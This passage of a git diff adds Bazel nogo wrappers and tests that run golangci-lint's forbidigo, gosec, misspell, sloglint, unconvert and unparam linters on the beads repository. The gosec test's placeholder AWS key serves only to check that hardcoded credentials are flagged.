"**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/forbidigo/forbidigo.go b/tools/nogo/analyzers/forbidigo/forbidigo.go new file mode 100644 index 000000000..360cc61a2 --- /dev/null +++ b/tools/nogo/analyzers/forbidigo/forbidigo.go @@ -0,0 +1,77 @@ +// Package forbidigo runs github.com/ashanbrown/forbidigo/v2 as golangci-lint's +// forbidigo linter does, with .golangci.yml's linters.settings.forbidigo. +package forbidigo + +import ( + "fmt" + + "github.com/ashanbrown/forbidigo/v2/forbidigo" + "golang.org/x/tools/go/analysis" + "gopkg.in/yaml.v3" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer reports uses of forbidden identifiers. +var Analyzer = golangci.Wrap("forbidigo", &analysis.Analyzer{ + Name: "forbidigo", + Doc: "forbids the identifiers .golangci.yml lists", + Run: run, +}) + +// pattern is golangci-lint's ForbidigoPattern as forbidigo.NewLinter reads it. +type pattern struct { + Pattern string `yaml:"p"` + Package string `yaml:"pkg,omitempty"` + Msg string `yaml:"msg,omitempty"` +} + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + settings := cfg.Linters.Settings.Forbidigo + linter, err := NewLinter(settings) + if err != nil { + return nil, err + } + for _, file := range pass.Files { + rc := forbidigo.RunConfig{Fset: pass.Fset} + if settings.AnalyzeTypes { + rc.TypesInfo = pass.TypesInfo + } + hints, err := linter.RunWithConfig(rc, file) + if err != nil { + return nil, fmt.Errorf("forbidigo on %s: %w", pass.Fset.File(file.Pos()).Name(), err) + } + for _, hint := range hints { + pass.Report(analysis.Diagnostic{Pos: hint.Pos(), Message: hint.Details()}) + } + } + return nil, nil +} + +// NewLinter builds forbidigo's linter from the settings, with golangci-lint's +// options: //permit directives are ignored (only //nolint counts), and godoc +// examples are skipped unless exclude-godoc-examples is false. +func NewLinter(settings golangci.ForbidigoSettings) (*forbidigo.Linter, error) { + excludeExamples := settings.ExcludeGodocExamples == nil || *settings.ExcludeGodocExamples + var patterns []string + for _, p := range settings.Forbid { + buf, err := yaml.Marshal(pattern{Pattern: p.Pattern, Package: p.Pkg, Msg: p.Msg}) + if err != nil { + return nil, err + } + patterns = append(patterns, string(buf)) + } + linter, err := forbidigo.NewLinter(patterns, + forbidigo.OptionExcludeGodocExamples(excludeExamples), + forbidigo.OptionIgnorePermitDirectives(true), + forbidigo.OptionAnalyzeTypes(settings.AnalyzeTypes), + ) + if err != nil { + return nil, fmt.Errorf("forbidigo: %w", err) + } + return linter, nil +} diff --git a/tools/nogo/analyzers/forbidigo/forbidigo_test.go b/tools/nogo/analyzers/forbidigo/forbidigo_test.go new file mode 100644 index 000000000..41ab2b784 --- /dev/null +++ b/tools/nogo/analyzers/forbidigo/forbidigo_test.go @@ -0,0 +1,37 @@ +package forbidigo_test + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/forbidigo" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +const labelUse = `package main + +type uow struct{} + +func (uow) LabelUseCase() int { return 0 } + +func f(u uow) int { return u.LabelUseCase() } +` + +// The LabelUseCase rule applies across cmd/bd; .golangci.yml's path-except +// rule keeps forbidigo off the rest of the tree. +func TestRulesApplyOnlyWhereTheExclusionsLeaveThem(t *testing.T) { + got := analyzertest.RunInRepo(t, forbidigo.Analyzer, "cmd/bd", map[string]string{"x.go": labelUse}) + if len(got) != 1 || got[0].Line != 7 || !strings.HasPrefix(got[0].Message, "use of `u.LabelUseCase` forbidden because \"reach the label plane") { + t.Fatalf("diagnostics = %+v, want the LabelUseCase rule", got) + } + analyzertest.Equal(t, analyzertest.RunInRepo(t, forbidigo.Analyzer, "internal/other", map[string]string{"x.go": labelUse}), nil) +} + +// run.tests: false: a test compile unit is not analyzed at all. +func TestTestUnitsAreSkipped(t *testing.T) { + got := analyzertest.RunInRepo(t, forbidigo.Analyzer, "cmd/bd", map[string]string{ + "x.go": labelUse, + "x_test.go": "package main\n", + }) + analyzertest.Equal(t, got, nil) +} diff --git a/tools/nogo/analyzers/gosec/BUILD.bazel b/tools/nogo/analyzers/gosec/BUILD.bazel new file mode 100644 index 000000000..0f13fb1c9 --- /dev/null +++ b/tools/nogo/analyzers/gosec/BUILD.bazel @@ -0,0 +1,49 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "gosec", + srcs = ["gosec.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/gosec", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "//tools/nogo/internal/position", + "@com_github_securego_gosec_v2//:gosec", + "@com_github_securego_gosec_v2//analyzers", + "@com_github_securego_gosec_v2//issue", + "@com_github_securego_gosec_v2//rules", + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/packages", + ], +) + +go_test( + name = "gosec_test", + srcs = ["gosec_test.go"], + deps = [ + ":gosec", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/gosec/gosec.go b/tools/nogo/analyzers/gosec/gosec.go new file mode 100644 index 000000000..aeb80d73b --- /dev/null +++ b/tools/nogo/analyzers/gosec/gosec.go @@ -0,0 +1,113 @@ +// Package gosec runs github.com/securego/gosec/v2 as golangci-lint's gosec +// linter does, with .golangci.yml's linters.settings.gosec: every rule and +// SSA analyzer (less G407, which golangci-lint always drops), #nosec honored, +// and findings reported as ": ". +package gosec + +import ( + "fmt" + "go/token" + "io" + "log" + "strconv" + "strings" + + "github.com/securego/gosec/v2" + "github.com/securego/gosec/v2/analyzers" + "github.com/securego/gosec/v2/issue" + "github.com/securego/gosec/v2/rules" + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/packages" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" + "github.com/steveyegge/beads/tools/nogo/internal/position" +) + +// Analyzer reports security problems. +var Analyzer = golangci.Wrap("gosec", &analysis.Analyzer{ + Name: "gosec", + Doc: "inspects source code for security problems", + Run: run, +}) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + settings := cfg.Linters.Settings.Gosec + severity, err := score(settings.Severity) + if err != nil { + return nil, err + } + confidence, err := score(settings.Confidence) + if err != nil { + return nil, err + } + // golangci-lint drops G407 (securego/gosec#1209, #1211) on top of the + // configured excludes. + excludes := append([]string{"G407"}, settings.Excludes...) + var ruleFilters []rules.RuleFilter + var analyzerFilters []analyzers.AnalyzerFilter + if len(settings.Includes) > 0 { + ruleFilters = append(ruleFilters, rules.NewRuleFilter(false, settings.Includes...)) + analyzerFilters = append(analyzerFilters, analyzers.NewAnalyzerFilter(false, settings.Includes...)) + } + ruleFilters = append(ruleFilters, rules.NewRuleFilter(true, excludes...)) + analyzerFilters = append(analyzerFilters, analyzers.NewAnalyzerFilter(true, excludes...)) + + g := gosec.NewAnalyzer(gosec.NewConfig(), true, false, false, 1, log.New(io.Discard, "", 0)) + ruleDefs := rules.Generate(false, ruleFilters...) + analyzerDefs := analyzers.Generate(false, analyzerFilters...) + g.LoadRules(ruleDefs.RulesInfo()) + g.LoadAnalyzers(analyzerDefs.AnalyzersInfo()) + + pkg := &packages.Package{ + Fset: pass.Fset, + Syntax: pass.Files, + Types: pass.Pkg, + TypesInfo: pass.TypesInfo, + } + g.CheckRules(pkg) + g.CheckAnalyzers(pkg) + found, _, _ := g.Report() + + idx := position.NewIndex(pass) + for _, i := range found { + if i.Severity < severity || i.Confidence < confidence { + continue + } + line, err := strconv.Atoi(i.Line) + if err != nil { + // A multi-line finding: "from-to". + first, _, ok := strings.Cut(i.Line, "-") + if line, err = strconv.Atoi(first); !ok || err != nil { + return nil, fmt.Errorf("gosec: line %q of %s in %s", i.Line, i.RuleID, i.File) + } + } + col, err := strconv.Atoi(i.Col) + if err != nil { + return nil, fmt.Errorf("gosec: column %q of %s in %s", i.Col, i.RuleID, i.File) + } + pos, ok := idx.Pos(token.Position{Filename: i.File, Line: line, Column: col}) + if !ok { + continue + } + pass.Report(analysis.Diagnostic{Pos: pos, Message: fmt.Sprintf("%s: %s", i.RuleID, i.What)}) + } + return nil, nil +} + +// score is golangci-lint's convertToScore: empty means low (everything). +func score(s string) (issue.Score, error) { + switch strings.ToLower(s) { + case "", "low": + return issue.Low, nil + case "medium": + return issue.Medium, nil + case "high": + return issue.High, nil + default: + return issue.Low, fmt.Errorf("gosec: severity/confidence %q: want low, medium or high", s) + } +} diff --git a/tools/nogo/analyzers/gosec/gosec_test.go b/tools/nogo/analyzers/gosec/gosec_test.go new file mode 100644 index 000000000..ad9a750c0 --- /dev/null +++ b/tools/nogo/analyzers/gosec/gosec_test.go @@ -0,0 +1,25 @@ +package gosec_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/gosec" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +// golangci-lint v2.10.1 reports the same finding for the same package. +func TestReportsRuleIDAndText(t *testing.T) { + got := analyzertest.RunInRepo(t, gosec.Analyzer, "p", map[string]string{ + "p.go": "package p\n\nconst apiKey = \"AKIAIOSFODNN7EXAMPLE\"\n\n// G115 is excluded tree-wide by .golangci.yml.\nfunc narrow(x int64) int32 { return int32(x) }\n", + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{ + {File: "p.go", Line: 3, Message: "G101: Potential hardcoded credentials"}, + }) +} + +func TestNosecIsHonored(t *testing.T) { + got := analyzertest.RunInRepo(t, gosec.Analyzer, "p", map[string]string{ + "p.go": "package p\n\nconst apiKey = \"AKIAIOSFODNN7EXAMPLE\" // #nosec G101 -- fixture\n", + }) + analyzertest.Equal(t, got, nil) +} diff --git a/tools/nogo/analyzers/misspell/BUILD.bazel b/tools/nogo/analyzers/misspell/BUILD.bazel new file mode 100644 index 000000000..0b2053638 --- /dev/null +++ b/tools/nogo/analyzers/misspell/BUILD.bazel @@ -0,0 +1,44 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "misspell", + srcs = ["misspell.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/misspell", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@com_github_golangci_misspell//:misspell", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "misspell_test", + srcs = ["misspell_test.go"], + deps = [ + ":misspell", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/misspell/misspell.go b/tools/nogo/analyzers/misspell/misspell.go new file mode 100644 index 000000000..2a1cb9819 --- /dev/null +++ b/tools/nogo/analyzers/misspell/misspell.go @@ -0,0 +1,110 @@ +// Package misspell runs github.com/golangci/misspell as golangci-lint's +// misspell linter does, with .golangci.yml's linters.settings.misspell. +// misspell is a library with no analysis.Analyzer. +package misspell + +import ( + "fmt" + "go/token" + "os" + "strings" + "sync" + "unicode" + + "github.com/golangci/misspell" + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer reports commonly misspelled English words. +var Analyzer = golangci.Wrap("misspell", &analysis.Analyzer{ + Name: "misspell", + Doc: "reports commonly misspelled English words", + Run: run, +}) + +var ( + once sync.Once + replacer *misspell.Replacer + replacerErr error +) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + settings := cfg.Linters.Settings.Misspell + once.Do(func() { replacer, replacerErr = NewReplacer(settings) }) + if replacerErr != nil { + return nil, replacerErr + } + // The default mode checks the whole file text; "restricted" only + // comments. + replace := replacer.Replace + if strings.EqualFold(settings.Mode, "restricted") { + replace = replacer.ReplaceGo + } + for _, file := range pass.Files { + tf := pass.Fset.File(file.Pos()) + if !strings.HasSuffix(tf.Name(), ".go") { + continue + } + content, err := os.ReadFile(tf.Name()) + if err != nil { + return nil, fmt.Errorf("misspell: reading %s: %w", tf.Name(), err) + } + _, diffs := replace(string(content)) + for _, diff := range diffs { + if diff.Line < 1 || diff.Line > tf.LineCount() { + continue + } + start := tf.LineStart(diff.Line) + token.Pos(diff.Column) + end := start + token.Pos(len(diff.Original)) + pass.Report(analysis.Diagnostic{ + Pos: start, + End: end, + Message: fmt.Sprintf("`%s` is a misspelling of `%s`", diff.Original, diff.Corrected), + SuggestedFixes: []analysis.SuggestedFix{{ + Message: "fix spelling", + TextEdits: []analysis.TextEdit{{Pos: start, End: end, NewText: []byte(diff.Corrected)}}, + }}, + }) + } + } + return nil, nil +} + +// NewReplacer builds golangci-lint's misspell replacer for the settings. +func NewReplacer(s golangci.MisspellSettings) (*misspell.Replacer, error) { + r := &misspell.Replacer{Replacements: misspell.DictMain} + switch strings.ToUpper(s.Locale) { + case "": + case "US": + r.AddRuleList(misspell.DictAmerican) + case "UK", "GB": + r.AddRuleList(misspell.DictBritish) + default: + return nil, fmt.Errorf("misspell: unknown locale %q", s.Locale) + } + if len(s.ExtraWords) > 0 { + extra := make([]string, 0, len(s.ExtraWords)*2) + for _, w := range s.ExtraWords { + if w.Typo == "" || w.Correction == "" { + return nil, fmt.Errorf("misspell: extra word typo %q / correction %q must not be empty", w.Typo, w.Correction) + } + notLetter := func(r rune) bool { return !unicode.IsLetter(r) } + if strings.ContainsFunc(w.Typo, notLetter) || strings.ContainsFunc(w.Correction, notLetter) { + return nil, fmt.Errorf("misspell: extra word %q -> %q must contain only letters", w.Typo, w.Correction) + } + extra = append(extra, strings.ToLower(w.Typo), strings.ToLower(w.Correction)) + } + r.AddRuleList(extra) + } + if len(s.IgnoreRules) > 0 { + r.RemoveRule(s.IgnoreRules) + } + r.Compile() + return r, nil +} diff --git a/tools/nogo/analyzers/misspell/misspell_test.go b/tools/nogo/analyzers/misspell/misspell_test.go new file mode 100644 index 000000000..3bdbcd50c --- /dev/null +++ b/tools/nogo/analyzers/misspell/misspell_test.go @@ -0,0 +1,35 @@ +package misspell_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/misspell" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +// The fixture words are assembled from halves so this file does not itself +// trip the analyzer it tests. +var ( + receive = "rec" + "ieve" + color = "col" + "our" + cancelled = "cancel" + "led" +) + +func TestReportsMisspellingsAnywhereInTheFileUSLocale(t *testing.T) { + got := analyzertest.RunInRepo(t, misspell.Analyzer, "p", map[string]string{ + "p.go": "// Package p is fine.\npackage p\n\n// " + receive + " is misspelled in a comment.\nvar s = \"" + color + "\"\n", + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{ + {File: "p.go", Line: 4, Message: "`" + receive + "` is a misspelling of `receive`"}, + {File: "p.go", Line: 5, Message: "`" + color + "` is a misspelling of `color`"}, + }) +} + +// .golangci.yml keeps GitHub's spelling in cmd/bd/gate.go only. +func TestPathTextExclusion(t *testing.T) { + src := map[string]string{"gate.go": "package main\n\nconst status = \"" + cancelled + "\"\n"} + analyzertest.Equal(t, analyzertest.RunInRepo(t, misspell.Analyzer, "cmd/bd", src), nil) + analyzertest.Equal(t, analyzertest.RunInRepo(t, misspell.Analyzer, "cmd/other", src), []analyzertest.Diagnostic{ + {File: "gate.go", Line: 3, Message: "`" + cancelled + "` is a misspelling of `canceled`"}, + }) +} diff --git a/tools/nogo/analyzers/sloglint/BUILD.bazel b/tools/nogo/analyzers/sloglint/BUILD.bazel new file mode 100644 index 000000000..9289cddb1 --- /dev/null +++ b/tools/nogo/analyzers/sloglint/BUILD.bazel @@ -0,0 +1,46 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "sloglint", + srcs = ["sloglint.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/sloglint", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@org_go_simpler_sloglint//:sloglint", + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/analysis/passes/inspect", + ], +) + +go_test( + name = "sloglint_test", + srcs = ["sloglint_test.go"], + deps = [ + ":sloglint", + "//tools/nogo/internal/analyzertest", + "//tools/nogo/internal/golangci", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/sloglint/sloglint.go b/tools/nogo/analyzers/sloglint/sloglint.go new file mode 100644 index 000000000..32e5270d2 --- /dev/null +++ b/tools/nogo/analyzers/sloglint/sloglint.go @@ -0,0 +1,67 @@ +// Package sloglint runs go-simpler.org/sloglint with .golangci.yml's +// linters.settings.sloglint and golangci-lint's defaults. +package sloglint + +import ( + "strings" + "sync" + + "go-simpler.org/sloglint" + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/analysis/passes/inspect" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer checks log/slog calls for a consistent style. +var Analyzer = golangci.Wrap("sloglint", &analysis.Analyzer{ + Name: "sloglint", + Doc: "ensures a consistent code style when using log/slog", + Requires: []*analysis.Analyzer{inspect.Analyzer}, + Run: run, +}) + +var ( + once sync.Once + inner *analysis.Analyzer +) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + once.Do(func() { inner = sloglint.New(Options(cfg.Linters.Settings.Sloglint)) }) + return inner.Run(WithModule(pass)) +} + +// WithModule returns pass with Module set when nogo left it nil (rules_go does +// not set it; sloglint reads Module.GoVersion). The language version is the +// package's, which rules_go sets from go.mod's go directive, as golangci-lint +// reads the module's. +func WithModule(pass *analysis.Pass) *analysis.Pass { + if pass.Module != nil { + return pass + } + p := *pass + p.Module = &analysis.Module{GoVersion: strings.TrimPrefix(pass.Pkg.GoVersion(), "go")} + return &p +} + +// Options maps the settings onto sloglint's options; no-mixed-args defaults +// to true, as in golangci-lint. +func Options(s golangci.SloglintSettings) *sloglint.Options { + return &sloglint.Options{ + NoMixedArgs: s.NoMixedArgs == nil || *s.NoMixedArgs, + KVOnly: s.KVOnly, + AttrOnly: s.AttrOnly, + NoGlobal: s.NoGlobal, + ContextOnly: s.Context, + StaticMsg: s.StaticMsg, + MsgStyle: s.MsgStyle, + NoRawKeys: s.NoRawKeys, + KeyNamingCase: s.KeyNamingCase, + ForbiddenKeys: s.ForbiddenKeys, + ArgsOnSepLines: s.ArgsOnSepLines, + } +} diff --git a/tools/nogo/analyzers/sloglint/sloglint_test.go b/tools/nogo/analyzers/sloglint/sloglint_test.go new file mode 100644 index 000000000..8e6d52e43 --- /dev/null +++ b/tools/nogo/analyzers/sloglint/sloglint_test.go @@ -0,0 +1,26 @@ +package sloglint_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/sloglint" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +func TestOptionsDefaultLikeGolangciLint(t *testing.T) { + opts := sloglint.Options(golangci.SloglintSettings{}) + if !opts.NoMixedArgs || opts.KVOnly || opts.AttrOnly || opts.StaticMsg { + t.Errorf("default options = %+v, want golangci-lint's (no-mixed-args only)", opts) + } + off := false + if sloglint.Options(golangci.SloglintSettings{NoMixedArgs: &off}).NoMixedArgs { + t.Error("no-mixed-args: false was not honored") + } +} + +// nogo passes carry no Module; sloglint reads its Go version. +func TestRunsWithoutAModule(t *testing.T) { + got := analyzertest.RunInRepo(t, sloglint.Analyzer, "p", map[string]string{"p.go": "package p\n\nfunc f() {}\n"}) + analyzertest.Equal(t, got, nil) +} diff --git a/tools/nogo/analyzers/unconvert/BUILD.bazel b/tools/nogo/analyzers/unconvert/BUILD.bazel new file mode 100644 index 000000000..2f988fd1a --- /dev/null +++ b/tools/nogo/analyzers/unconvert/BUILD.bazel @@ -0,0 +1,45 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "unconvert", + srcs = ["unconvert.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/unconvert", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "//tools/nogo/internal/position", + "@com_github_golangci_unconvert//:unconvert", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "unconvert_test", + srcs = ["unconvert_test.go"], + deps = [ + ":unconvert", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/unconvert/unconvert.go b/tools/nogo/analyzers/unconvert/unconvert.go new file mode 100644 index 000000000..182f1d38e --- /dev/null +++ b/tools/nogo/analyzers/unconvert/unconvert.go @@ -0,0 +1,42 @@ +// Package unconvert runs golangci-lint's fork of mdempsky/unconvert, which +// exposes Run(pass) rather than an analysis.Analyzer. +package unconvert + +import ( + "sync" + + "github.com/golangci/unconvert" + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" + "github.com/steveyegge/beads/tools/nogo/internal/position" +) + +// Analyzer reports type conversions whose operand already has the target type. +var Analyzer = golangci.Wrap("unconvert", &analysis.Analyzer{ + Name: "unconvert", + Doc: "reports unnecessary type conversions", + Run: run, +}) + +var configure sync.Once + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + configure.Do(func() { + unconvert.SetFastMath(cfg.Linters.Settings.Unconvert.FastMath) + unconvert.SetSafe(cfg.Linters.Settings.Unconvert.Safe) + }) + idx := position.NewIndex(pass) + for _, p := range unconvert.Run(pass) { + pos, ok := idx.Pos(p) + if !ok { + continue + } + pass.Report(analysis.Diagnostic{Pos: pos, Message: "unnecessary conversion"}) + } + return nil, nil +} diff --git a/tools/nogo/analyzers/unconvert/unconvert_test.go b/tools/nogo/analyzers/unconvert/unconvert_test.go new file mode 100644 index 000000000..412d29fce --- /dev/null +++ b/tools/nogo/analyzers/unconvert/unconvert_test.go @@ -0,0 +1,15 @@ +package unconvert_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/unconvert" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +func TestReportsUnnecessaryConversions(t *testing.T) { + got := analyzertest.RunInRepo(t, unconvert.Analyzer, "p", map[string]string{ + "p.go": "package p\n\nfunc f(x int) int { return int(x) }\n\nfunc g(x int32) int64 { return int64(x) }\n", + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{{File: "p.go", Line: 3, Message: "unnecessary conversion"}}) +} diff --git a/tools/nogo/analyzers/unparam/BUILD.bazel b/tools/nogo/analyzers/unparam/BUILD.bazel new file mode 100644 index 000000000..f4c612814 --- /dev/null +++ b/tools/nogo/analyzers/unparam/BUILD.bazel @@ -0,0 +1,46 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "unparam", + srcs = ["unparam.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/unparam", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@cc_mvdan_unparam//check", + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/analysis/passes/buildssa", + "@org_golang_x_tools//go/packages", + ], +) + +go_test( + name = "unparam_test", + srcs = ["unparam_test.go"], + deps = [ + ":unparam", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/unparam/unparam.go b/tools/nogo/analyzers/unparam/unparam.go new file mode 100644 index 000000000..864bf1c54 --- /dev/null +++ b/tools/nogo/analyzers/unparam/unparam.go @@ -0,0 +1,47 @@ +// Package unparam runs mvdan.cc/unparam as golangci-lint's unparam linter +// does, with .golangci.yml's linters.settings.unparam. +package unparam + +import ( + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/analysis/passes/buildssa" + "golang.org/x/tools/go/packages" + "mvdan.cc/unparam/check" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer reports function parameters and results that are always unused +// or always receive the same value. +var Analyzer = golangci.Wrap("unparam", &analysis.Analyzer{ + Name: "unparam", + Doc: "reports unused function parameters and results", + Requires: []*analysis.Analyzer{buildssa.Analyzer}, + Run: run, +}) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + ssa := pass.ResultOf[buildssa.Analyzer].(*buildssa.SSA) + pkg := &packages.Package{ + Fset: pass.Fset, + Syntax: pass.Files, + Types: pass.Pkg, + TypesInfo: pass.TypesInfo, + } + c := &check.Checker{} + c.CheckExportedFuncs(cfg.Linters.Settings.Unparam.CheckExported) + c.Packages([]*packages.Package{pkg}) + c.ProgramSSA(ssa.Pkg.Prog) + issues, err := c.Check() + if err != nil { + return nil, err + } + for _, issue := range issues { + pass.Report(analysis.Diagnostic{Pos: issue.Pos(), Message: issue.Message()}) + } + return nil, nil +} diff --git a/tools/nogo/analyzers/unparam/unparam_test.go b/tools/nogo/analyzers/unparam/unparam_test.go new file mode 100644 index 000000000..2ea84500b --- /dev/null +++ b/tools/nogo/analyzers/unparam/unparam_test.go @@ -0,0 +1,46 @@ +package unparam_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/unparam" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +const lib = `package p + +func render(n int, unused string) int { + if n > 1 { + return n * 2 + } + return n +} + +// Use is exported, so unparam does not check it (check-exported is off). +func Use(x int) int { return render(1, "a") + render(2, "b") } +` + +// golangci-lint v2.10.1 reports the same finding for the same package (a +// body this small but no smaller: unparam skips trivial functions). +func TestReportsUnusedParameters(t *testing.T) { + analyzertest.Equal(t, analyzertest.RunInRepo(t, unparam.Analyzer, "p", map[string]string{"p.go": lib}), + []analyzertest.Diagnostic{{File: "p.go", Line: 3, Message: "render - unused is unused"}}) +} + +// run.tests: false: golangci-lint judged the package without its tests, +// which is Bazel's library unit; the test unit is not analyzed. +func TestTestUnitIsSkipped(t *testing.T) { + got := analyzertest.RunInRepo(t, unparam.Analyzer, "p", map[string]string{ + "p.go": lib, + "p_test.go": "package p\n\nvar _ = render(1, \"c\")\n", + }) + analyzertest.Equal(t, got, nil) +} + +// .golangci.yml drops unparam's getConfig findings in the tracker adapters. +func TestPathTextExclusion(t *testing.T) { + src := map[string]string{"tracker.go": "package jira\n\nfunc getConfig(k string, unused int) string {\n\tif k == \"\" {\n\t\treturn \"none\"\n\t}\n\treturn k\n}\n\n// Use is exported.\nfunc Use() string { return getConfig(\"a\", 1) + getConfig(\"b\", 2) }\n"} + analyzertest.Equal(t, analyzertest.RunInRepo(t, unparam.Analyzer, "internal/jira", src), nil) + analyzertest.Equal(t, analyzertest.RunInRepo(t, unparam.Analyzer, "internal/other", src), + []analyzertest.Diagnostic{{File: "tracker.go", Line: 3, Message: "getConfig - unused is unused"}}) +} diff --git a/tools/nogo/analyzers_test.go b/tools/nogo/analyzers_test.go new file mode 100644 index 000000000..a36b5ca5e --- /dev/null +++ b/tools/nogo/analyzers_test.go @@ -0,0 +1,104 @@ +package nogo_test + +import ( + "os" + "regexp" + "slices" + "strings" + "testing" + + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/analyzers/depguard" + "github.com/steveyegge/beads/tools/nogo/analyzers/errcheck" + "github.com/steveyegge/beads/tools/nogo/analyzers/forbidigo" + "github.com/steveyegge/beads/tools/nogo/analyzers/gosec" + "github.com/steveyegge/beads/tools/nogo/analyzers/misspell" + "github.com/steveyegge/beads/tools/nogo/analyzers/sloglint" + "github.com/steveyegge/beads/tools/nogo/analyzers/unconvert" + "github.com/steveyegge/beads/tools/nogo/analyzers/unparam" + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// starlarkList returns the string elements of `name = [...]` in analyzers.bzl. +func starlarkList(t *testing.T, name string) []string { + t.Helper() + data, err := os.ReadFile("analyzers.bzl") + if err != nil { + t.Fatal(err) + } + m := regexp.MustCompile(`(?ms)^` + name + ` = \[(.*?)^\]`).FindSubmatch(data) + if m == nil { + t.Fatalf("analyzers.bzl has no 